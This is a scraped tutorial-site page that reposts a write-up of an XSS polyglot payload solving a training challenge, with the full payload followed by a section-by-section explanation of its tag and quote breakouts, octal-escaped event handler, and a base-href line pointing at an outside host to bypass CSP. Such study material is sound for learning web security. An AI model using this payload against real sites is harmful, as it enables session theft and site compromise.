Rumah hujung hadapan web tutorial js Polyglot menyelesaikan kebanyakan Latihan XSS Muscles Challenge

Polyglot menyelesaikan kebanyakan Latihan XSS Muscles Challenge

Sep 14, 2024 am 10:32 AM

Polyglot solve most of Training XSS Muscles Challenge

JavaScript://%250Aalert?.(1)//
'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!-->
</Title/</Style/</Script/</textArea/</iFrame/</noScript>
\74k<K/contentEditable/autoFocus/OnFocus=
/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->

Core Idea:
This payload is designed to bypass several XSS filters and security mechanisms by working in various HTML contexts. It uses a combination of HTML and JavaScript tricks to inject a malicious payload, such as the alert() function, in a variety of ways.

Top-Level Concepts:
Polyglot Basics:
A polyglot is a payload that can execute in multiple contexts, typically both in HTML, attributes, or JavaScript contexts, making it more versatile for exploiting XSS vulnerabilities.
The goal of this payload is to inject JavaScript and execute alert(1) across multiple contexts while bypassing filters.
Polyglot Sections:
JavaScript Execution with Optional Chaining:

JavaScript://%250Aalert?.(1)//

The JavaScript protocol triggers the payload in browsers that interpret JavaScript from URL protocols.
%250A is the URL-encoded form of a newline character (\n), used to bypass URL validation or escape filters.
alert?.(1) is an optional chaining syntax in JavaScript. It executes alert(1) if alert exists, bypassing strict checks on direct calls to alert().
// terminates the rest of the payload as a comment to avoid errors.
HTML Tag Breakouts:

</Title/</Style/</Script/</textArea/</iFrame/</noScript>

This section attempts to break out of various HTML tags like , <style>, <script>, <textarea>, and others.<br> It ends the tags early (</...>) so that JavaScript can be executed right after the tag, bypassing filtering or restrictions based on tag contexts.<br> It’s compact since it doesn’t close each tag properly; just one closing symbol (>) suffices for all.<br> Quote Breakouts:<br> </p> <pre class="brush:php;toolbar:false">/*'/*\'/*"/*\"/*\/%26apos;)/<!-->` </pre> <p>This section handles breaking out of quote contexts (", ', `). It uses JavaScript comments(/.../) to inject and terminate multiline comment blocks that might be initiated by filters.<br> /<em>...</em>/ is useful for multiline comments and ignoring filter checks.<br> %26apos;) is an HTML entity escape code for ', used to break out of attributes or string contexts that use HTML entities for sanitization.<br> Event Handler and Execution:</p> <p>`<br> \74k<K/contentEditable/autoFocus/OnFocus=/**/{(alert)(1)}//><br> `<br> \74k<K is a trick to insert an arbitrary tag where \74 is the octal representation of <. This works to bypass filters that sanitize < by converting it into an octal entity.<br> K is an arbitrary tag (can be any character) with the attributes contentEditable, autoFocus, and OnFocus.<br> The OnFocus=/**/{(alert)(1)} ensures that when the element gains focus, it executes the alert(1) function.<br> Advanced Evasion Techniques:</p> <p>`<br> <Base/Href=//X55.is\76--><br> `<br> <Base> is used for CSP bypass. If the base URL is set to a malicious domain like //X55.is, relative URL references to scripts or assets can trigger cross-origin requests, executing external malicious scripts.<br> /76 is the octal code for >, and it's used to properly close the tag while bypassing filters that escape < and >. This is part of the trick where octal escapes are converted back into characters.<br> HTML Comment Insertion:</p> <p><!--> is a simple HTML comment injection that ends any HTML comment block started by a filter, allowing the payload to escape the context.<br> Polyglot Logic:<br> Bypassing HTML Filters: The polyglot uses tag closings, quote breakouts, and event handlers to escape multiple HTML tags and execute JavaScript in different contexts.<br> Bypassing JavaScript Filters: Through commenting techniques (/<em>...</em>/, //) and quote escapes, it handles multiline scripts and prevents syntax errors.<br> Filter Evasion: By using HTML entities, optional chaining, and octal escapes, it bypasses common sanitization filters and CSP rules.<br> Mind Map Summary:<br> Polyglot Core:<br> JavaScript Execution (alert?.(1))<br> HTML Context Breakouts ()<br> JavaScript String Injection:<br> Escape Quotes (/<em>'/</em>\'/<em>"/</em>)<br> Inline Comments and Multiline Escapes (//, /<em>...</em>/)<br> HTML Tag Evasion:<br> Tag Close Breakouts ()<br> Arbitrary Tag Injection with Event Handler ()<br> Advanced Tricks:<br> Octal Encoding for < and > (\74 and \76)<br> CSP Bypass using and external URL (Base/Href=//X55.is)<br> Final Injection:</p> <blockquote> <p>Mixed context polyglot triggering across multiple browsers and scenarios.<br> This polyglot is highly effective in breaking out of multiple contexts, evading JavaScript string handling and HTML tag closures, and executing in both</p> </blockquote> <p>Atas ialah kandungan terperinci Polyglot menyelesaikan kebanyakan Latihan XSS Muscles Challenge. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!</p> </div> </div> <div class="wzconShengming_sp"> <div class="bzsmdiv_sp">Kenyataan Laman Web ini</div> <div>Kandungan artikel ini disumbangkan secara sukarela oleh netizen, dan hak cipta adalah milik pengarang asal. Laman web ini tidak memikul tanggungjawab undang-undang yang sepadan. Jika anda menemui sebarang kandungan yang disyaki plagiarisme atau pelanggaran, sila hubungi admin@php.cn</div> </div> </div> <div class="AI_ToolDetails_main4sR"> <!-- <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>Artikel Panas</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ms/faq/1796879055.html" title="Bank kuasa 20k yang comel ini adalah pek bateri komputer riba terkecil yang pernah kita lihat" class="phpgenera_Details_mainR4_bottom_title">Bank kuasa 20k yang comel ini adalah pek bateri komputer riba terkecil yang pernah kita lihat</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>4 minggu yang lalu</span> <span>By Jack chen</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ms/faq/1796881225.html" title="Bitcoin (BTC) meningkat kepada 1.7% mata wang global sebelum petunjuk pengerusi Fed pada pemotongan kadar" class="phpgenera_Details_mainR4_bottom_title">Bitcoin (BTC) meningkat kepada 1.7% mata wang global sebelum petunjuk pengerusi Fed pada pemotongan kadar</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 minggu yang lalu</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ms/faq/1796880406.html" title="Apa yang Harus Dilakukan Sekiranya Pembelian Digital PS4 Anda Hilang" class="phpgenera_Details_mainR4_bottom_title">Apa yang Harus Dilakukan Sekiranya Pembelian Digital PS4 Anda Hilang</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>4 minggu yang lalu</span> <span>By 下次还敢</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ms/faq/1796877981.html" title="Apakah kebuntuan di Java dan bagaimana anda boleh menghalangnya?" class="phpgenera_Details_mainR4_bottom_title">Apakah kebuntuan di Java dan bagaimana anda boleh menghalangnya?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>1 bulan yang lalu</span> <span>By 下次还敢</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ms/faq/1796883389.html" title="Apakah sebab kebangkitan duit syiling OKB? Penjelasan terperinci mengenai faktor pemacu strategik di sebalik lonjakan duit syiling OKB" class="phpgenera_Details_mainR4_bottom_title">Apakah sebab kebangkitan duit syiling OKB? Penjelasan terperinci mengenai faktor pemacu strategik di sebalik lonjakan duit syiling OKB</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 minggu yang lalu</span> <span>By DDD</span> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/ms/article.html">Tunjukkan Lagi</a> </div> </div> </div> --> <div class="phpgenera_Details_mainR3"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hottools2.png" alt="" /> <h2>Alat AI Hot</h2> </div> <div class="phpgenera_Details_mainR3_bottom"> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ms/ai/undress-ai-tool" title="Undress AI Tool" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173410641626608.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Undress AI Tool" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ms/ai/undress-ai-tool" title="Undress AI Tool" class="phpmain_tab2_mids_title"> <h3>Undress AI Tool</h3> </a> <p>Gambar buka pakaian secara percuma</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ms/ai/undresserai-undress" title="Undresser.AI Undress" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173411540686492.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Undresser.AI Undress" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ms/ai/undresserai-undress" title="Undresser.AI Undress" class="phpmain_tab2_mids_title"> <h3>Undresser.AI Undress</h3> </a> <p>Apl berkuasa AI untuk mencipta foto bogel yang realistik</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ms/ai/ai-clothes-remover" title="AI Clothes Remover" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173411552797167.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="AI Clothes Remover" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ms/ai/ai-clothes-remover" title="AI Clothes Remover" class="phpmain_tab2_mids_title"> <h3>AI Clothes Remover</h3> </a> <p>Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ms/ai/artgpt" title="ArtGPT" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173397491055212.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="ArtGPT" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ms/ai/artgpt" title="ArtGPT" class="phpmain_tab2_mids_title"> <h3>ArtGPT</h3> </a> <p></p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ms/ai/stock-market-gpt" title="Stock Market GPT" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/ai_manual/001/246/273/173418760225266.jpg?x-oss-process=image/resize,m_fill,h_50,w_50" src="/static/imghw/default1.png" alt="Stock Market GPT" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ms/ai/stock-market-gpt" title="Stock Market GPT" class="phpmain_tab2_mids_title"> <h3>Stock Market GPT</h3> </a> <p>Penyelidikan pelaburan dikuasakan AI untuk keputusan yang lebih bijak</p> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/ms/ai">Tunjukkan Lagi</a> </div> </div> </div> <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>Artikel Panas</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ms/faq/1796879055.html" title="Bank kuasa 20k yang comel ini adalah pek bateri komputer riba terkecil yang pernah kita lihat" class="phpgenera_Details_mainR4_bottom_title">Bank kuasa 20k yang comel ini adalah pek bateri komputer riba terkecil yang pernah kita lihat</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>4 minggu yang lalu</span> <span>By Jack chen</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ms/faq/1796881225.html" title="Bitcoin (BTC) meningkat kepada 1.7% mata wang global sebelum petunjuk pengerusi Fed pada pemotongan kadar" class="phpgenera_Details_mainR4_bottom_title">Bitcoin (BTC) meningkat kepada 1.7% mata wang global sebelum petunjuk pengerusi Fed pada pemotongan kadar</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 minggu yang lalu</span> <span>By DDD</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ms/faq/1796880406.html" title="Apa yang Harus Dilakukan Sekiranya Pembelian Digital PS4 Anda Hilang" class="phpgenera_Details_mainR4_bottom_title">Apa yang Harus Dilakukan Sekiranya Pembelian Digital PS4 Anda Hilang</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>4 minggu yang lalu</span> <span>By 下次还敢</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ms/faq/1796877981.html" title="Apakah kebuntuan di Java dan bagaimana anda boleh menghalangnya?" class="phpgenera_Details_mainR4_bottom_title">Apakah kebuntuan di Java dan bagaimana anda boleh menghalangnya?</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>1 bulan yang lalu</span> <span>By 下次还敢</span> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ms/faq/1796883389.html" title="Apakah sebab kebangkitan duit syiling OKB? Penjelasan terperinci mengenai faktor pemacu strategik di sebalik lonjakan duit syiling OKB" class="phpgenera_Details_mainR4_bottom_title">Apakah sebab kebangkitan duit syiling OKB? Penjelasan terperinci mengenai faktor pemacu strategik di sebalik lonjakan duit syiling OKB</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <span>3 minggu yang lalu</span> <span>By DDD</span> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/ms/article.html">Tunjukkan Lagi</a> </div> </div> </div> <div class="phpgenera_Details_mainR3"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hottools2.png" alt="" /> <h2>Alat panas</h2> </div> <div class="phpgenera_Details_mainR3_bottom"> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ms/toolset/development-tools/92" title="Notepad++7.3.1" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab96f0f39f7357.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="Notepad++7.3.1" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ms/toolset/development-tools/92" title="Notepad++7.3.1" class="phpmain_tab2_mids_title"> <h3>Notepad++7.3.1</h3> </a> <p>Editor kod yang mudah digunakan dan percuma</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ms/toolset/development-tools/93" title="SublimeText3 versi Cina" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab97a3baad9677.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="SublimeText3 versi Cina" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ms/toolset/development-tools/93" title="SublimeText3 versi Cina" class="phpmain_tab2_mids_title"> <h3>SublimeText3 versi Cina</h3> </a> <p>Versi Cina, sangat mudah digunakan</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ms/toolset/development-tools/121" title="Hantar Studio 13.0.1" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58ab97ecd1ab2670.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="Hantar Studio 13.0.1" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ms/toolset/development-tools/121" title="Hantar Studio 13.0.1" class="phpmain_tab2_mids_title"> <h3>Hantar Studio 13.0.1</h3> </a> <p>Persekitaran pembangunan bersepadu PHP yang berkuasa</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ms/toolset/development-tools/469" title="Dreamweaver CS6" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58d0e0fc74683535.jpg?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="Dreamweaver CS6" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ms/toolset/development-tools/469" title="Dreamweaver CS6" class="phpmain_tab2_mids_title"> <h3>Dreamweaver CS6</h3> </a> <p>Alat pembangunan web visual</p> </div> </div> <div class="phpmain_tab2_mids_top"> <a href="//m.sbmmt.com/ms/toolset/development-tools/500" title="SublimeText3 versi Mac" class="phpmain_tab2_mids_top_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" class="lazy" data-src="https://img.php.cn/upload/manual/000/000/001/58d34035e2757995.png?x-oss-process=image/resize,m_fill,h_50,w_72" src="/static/imghw/default1.png" alt="SublimeText3 versi Mac" /> </a> <div class="phpmain_tab2_mids_info"> <a href="//m.sbmmt.com/ms/toolset/development-tools/500" title="SublimeText3 versi Mac" class="phpmain_tab2_mids_title"> <h3>SublimeText3 versi Mac</h3> </a> <p>Perisian penyuntingan kod peringkat Tuhan (SublimeText3)</p> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/ms/ai">Tunjukkan Lagi</a> </div> </div> </div> <div class="phpgenera_Details_mainR4"> <div class="phpmain1_4R_readrank"> <div class="phpmain1_4R_readrank_top"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/hotarticle2.png" alt="" /> <h2>Topik panas</h2> </div> <div class="phpgenera_Details_mainR4_bottom"> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ms/faq/php-tutorial" title="Tutorial PHP" class="phpgenera_Details_mainR4_bottom_title">Tutorial PHP</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>1668</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>276</span> </div> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ms/faq/newyorktimesdailybrief" title="Sambungan NYT menunjukkan dan jawapan" class="phpgenera_Details_mainR4_bottom_title">Sambungan NYT menunjukkan dan jawapan</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>297</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>836</span> </div> </div> </div> <div class="phpgenera_Details_mainR4_bottoms"> <a href="//m.sbmmt.com/ms/faq/settingupandusing" title="Setting up and using Magic Mouse in Windows" class="phpgenera_Details_mainR4_bottom_title">Setting up and using Magic Mouse in Windows</a> <div class="phpgenera_Details_mainR4_bottoms_info"> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/eyess.png" alt="" /> <span>0</span> </div> <div class="phpgenera_Details_mainR4_bottoms_infos"> <img src="/static/imghw/tiezi.png" alt="" /> <span>6</span> </div> </div> </div> </div> <div class="phpgenera_Details_mainR3_more"> <a href="//m.sbmmt.com/ms/faq/zt">Tunjukkan Lagi</a> </div> </div> </div> </div> </div> <div class="Article_Details_main2"> <div class="phpgenera_Details_mainL4"> <div class="phpmain1_2_top"> <a href="javascript:void(0);" class="phpmain1_2_top_title">Related knowledge<img src="/static/imghw/index2_title2.png" alt="" /></a> </div> <div class="phpgenera_Details_mainL4_info"> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ms/faq/1796883638.html" title="Bagaimana anda memilih elemen dengan atribut data dalam JavaScript?" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/431/639/175649022212441.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="Bagaimana anda memilih elemen dengan atribut data dalam JavaScript?" /> </a> <a href="//m.sbmmt.com/ms/faq/1796883638.html" title="Bagaimana anda memilih elemen dengan atribut data dalam JavaScript?" class="phphistorical_Version2_mids_title">Bagaimana anda memilih elemen dengan atribut data dalam JavaScript?</a> <span class="Articlelist_txts_time">Aug 30, 2025 am 01:57 AM</span> <p class="Articlelist_txts_p">Anda boleh memilih elemen dengan atribut data dalam JavaScript melalui pemilih atribut CSS, dan gunakan document.QuerySelector () atau document.QuerySelectorAll () kaedah untuk mencapai matlamat ini. 1. Gunakan [data-attribute] untuk memilih elemen dengan atribut data yang ditentukan (sebarang nilai); 2. Gunakan [data-attribute = "nilai"] untuk memilih elemen yang nilai atributnya sesuai; 3. Akses atribut data melalui elemen.dataset, di mana data-us-id sepadan dengan dataset.userid (ganti</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ms/faq/1796883853.html" title="Pytest dan Selenium: Strategi pelaksanaan untuk ujian yang didorong oleh data dinamik" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/246/273/175650480542769.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="Pytest dan Selenium: Strategi pelaksanaan untuk ujian yang didorong oleh data dinamik" /> </a> <a href="//m.sbmmt.com/ms/faq/1796883853.html" title="Pytest dan Selenium: Strategi pelaksanaan untuk ujian yang didorong oleh data dinamik" class="phphistorical_Version2_mids_title">Pytest dan Selenium: Strategi pelaksanaan untuk ujian yang didorong oleh data dinamik</a> <span class="Articlelist_txts_time">Aug 30, 2025 am 06:00 AM</span> <p class="Articlelist_txts_p">Artikel ini bertujuan untuk menyelesaikan masalah yang @pytest.mark.parametrize decorator tidak dapat secara langsung mengendalikan data yang dijana pada runtime apabila menggunakan pytest dan selenium untuk ujian yang didorong data dinamik. Kami akan meneroka batasan pytest.mark.parametrize secara mendalam, dan memperkenalkan secara terperinci bagaimana untuk melaksanakan ujian parameter secara anggun berdasarkan pemerolehan data dinamik selenium melalui Pytest's PYTest_Generate_Tests Hook berfungsi untuk memastikan fleksibiliti dan kecekapan kes ujian.</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ms/faq/1796885555.html" title="Mengoptimumkan pengendalian acara lompat luaran dinamik di tetingkap pop timbul jQuery" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/246/273/175669848346294.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="Mengoptimumkan pengendalian acara lompat luaran dinamik di tetingkap pop timbul jQuery" /> </a> <a href="//m.sbmmt.com/ms/faq/1796885555.html" title="Mengoptimumkan pengendalian acara lompat luaran dinamik di tetingkap pop timbul jQuery" class="phphistorical_Version2_mids_title">Mengoptimumkan pengendalian acara lompat luaran dinamik di tetingkap pop timbul jQuery</a> <span class="Articlelist_txts_time">Sep 01, 2025 am 11:48 AM</span> <p class="Articlelist_txts_p">Artikel ini bertujuan untuk menyelesaikan masalah mengalihkan butang redirect pautan luaran dalam tetingkap pop-up jQuery menyebabkan kesilapan lompat. Apabila pengguna mengklik pelbagai pautan luaran dalam penggantian, butang lompat di pop timbul mungkin selalu menunjuk pada pautan pertama yang diklik. Penyelesaian teras adalah dengan menggunakan kaedah off ('klik') untuk membatalkan pengendali acara lama sebelum setiap mengikat peristiwa baru, memastikan bahawa tingkah laku lompat sentiasa menunjuk kepada URL sasaran terkini, dengan itu mencapai pengalihan pautan yang tepat dan terkawal.</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ms/faq/1796884618.html" title="Bina kaunter JavaScript berjalan dengan hari bekerja dan waktu bekerja" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/246/273/175659300230751.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="Bina kaunter JavaScript berjalan dengan hari bekerja dan waktu bekerja" /> </a> <a href="//m.sbmmt.com/ms/faq/1796884618.html" title="Bina kaunter JavaScript berjalan dengan hari bekerja dan waktu bekerja" class="phphistorical_Version2_mids_title">Bina kaunter JavaScript berjalan dengan hari bekerja dan waktu bekerja</a> <span class="Articlelist_txts_time">Aug 31, 2025 am 06:30 AM</span> <p class="Articlelist_txts_p">Artikel ini memperincikan bagaimana untuk membina kaunter masa yang tepat menggunakan JavaScript. Kaunter itu bertambah sekali seminit, tetapi hanya berjalan dalam hari kerja pratetap (Isnin hingga Jumaat) dan jam kerja (seperti 6 pagi hingga 8 malam). Ia boleh menjeda kenaikan semasa waktu tidak bekerja tetapi memaparkan nilai semasa dan menetapkan semula secara automatik pada hari pertama setiap bulan, memastikan ketepatan dan fleksibiliti logik pengiraan.</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ms/faq/1796884095.html" title="Bagaimana unsur -unsur DOM yang dibuat secara dinamik diakses dan dikendalikan oleh skrip yang dimuatkan" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/246/273/175652622287631.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="Bagaimana unsur -unsur DOM yang dibuat secara dinamik diakses dan dikendalikan oleh skrip yang dimuatkan" /> </a> <a href="//m.sbmmt.com/ms/faq/1796884095.html" title="Bagaimana unsur -unsur DOM yang dibuat secara dinamik diakses dan dikendalikan oleh skrip yang dimuatkan" class="phphistorical_Version2_mids_title">Bagaimana unsur -unsur DOM yang dibuat secara dinamik diakses dan dikendalikan oleh skrip yang dimuatkan</a> <span class="Articlelist_txts_time">Aug 30, 2025 am 11:57 AM</span> <p class="Articlelist_txts_p">Artikel ini menerangkan bagaimana skrip JavaScript dapat diakses dengan berkesan dan dimanipulasi apabila ia dimuatkan dan dilaksanakan sebelum penciptaan elemen DOM dalam pembangunan web. Kami akan memperkenalkan tiga strategi teras: secara langsung lulus rujukan elemen melalui nilai pulangan fungsi, menggunakan peristiwa tersuai untuk mencapai komunikasi antara modul, dan menggunakan MutationObserver untuk mendengar perubahan struktur DOM. Kaedah ini dapat membantu pemaju menyelesaikan cabaran antara masa pelaksanaan JavaScript dan pemuatan kandungan dinamik, memastikan skrip dapat mengendalikan unsur-unsur dengan betul, seperti menjadikannya drag-mampu.</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ms/faq/1796882736.html" title="Evolusi JavaScript: Lihat ES2023 dan seterusnya" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" data-src="https://img.php.cn/upload/article/001/253/068/175639788127366.jpg?x-oss-process=image/resize,m_fill,h_207,w_330" alt="Evolusi JavaScript: Lihat ES2023 dan seterusnya" /> </a> <a href="//m.sbmmt.com/ms/faq/1796882736.html" title="Evolusi JavaScript: Lihat ES2023 dan seterusnya" class="phphistorical_Version2_mids_title">Evolusi JavaScript: Lihat ES2023 dan seterusnya</a> <span class="Articlelist_txts_time">Aug 29, 2025 am 12:18 AM</span> <p class="Articlelist_txts_p">ES2023 telah memperkenalkan beberapa kemas kini praktikal, menandakan evolusi matang JavaScript. 1.Array.Prototype.Findlast () dan findLastIndex () kaedah menyokong carian dari akhir array, meningkatkan kecekapan log pemprosesan atau konfigurasi; 2.Hashbang Syntax (#!/Usr/bin/envnode) membolehkan fail JavaScript dilaksanakan secara langsung dalam sistem seperti UNIX; 3.Ror.Cause menyokong rantaian ralat, meningkatkan keupayaan debugging pengecualian; 4. Spesifikasi lemah dan set meningkatkan konsistensi enjin; Pada masa akan datang, penghias (Stage3), Rekod dan Tuples (</p> </div> <div class="phphistorical_Version2_mids"> <a href="//m.sbmmt.com/ms/faq/1796898994.html" title="JavaScript menyedari kesan penukaran imej klik: tutorial profesional" class="phphistorical_Version2_mids_img"> <img onerror="this.onerror=''; this.src='/static/imghw/default1.png'" src="/static/imghw/default1.png" class="lazy" 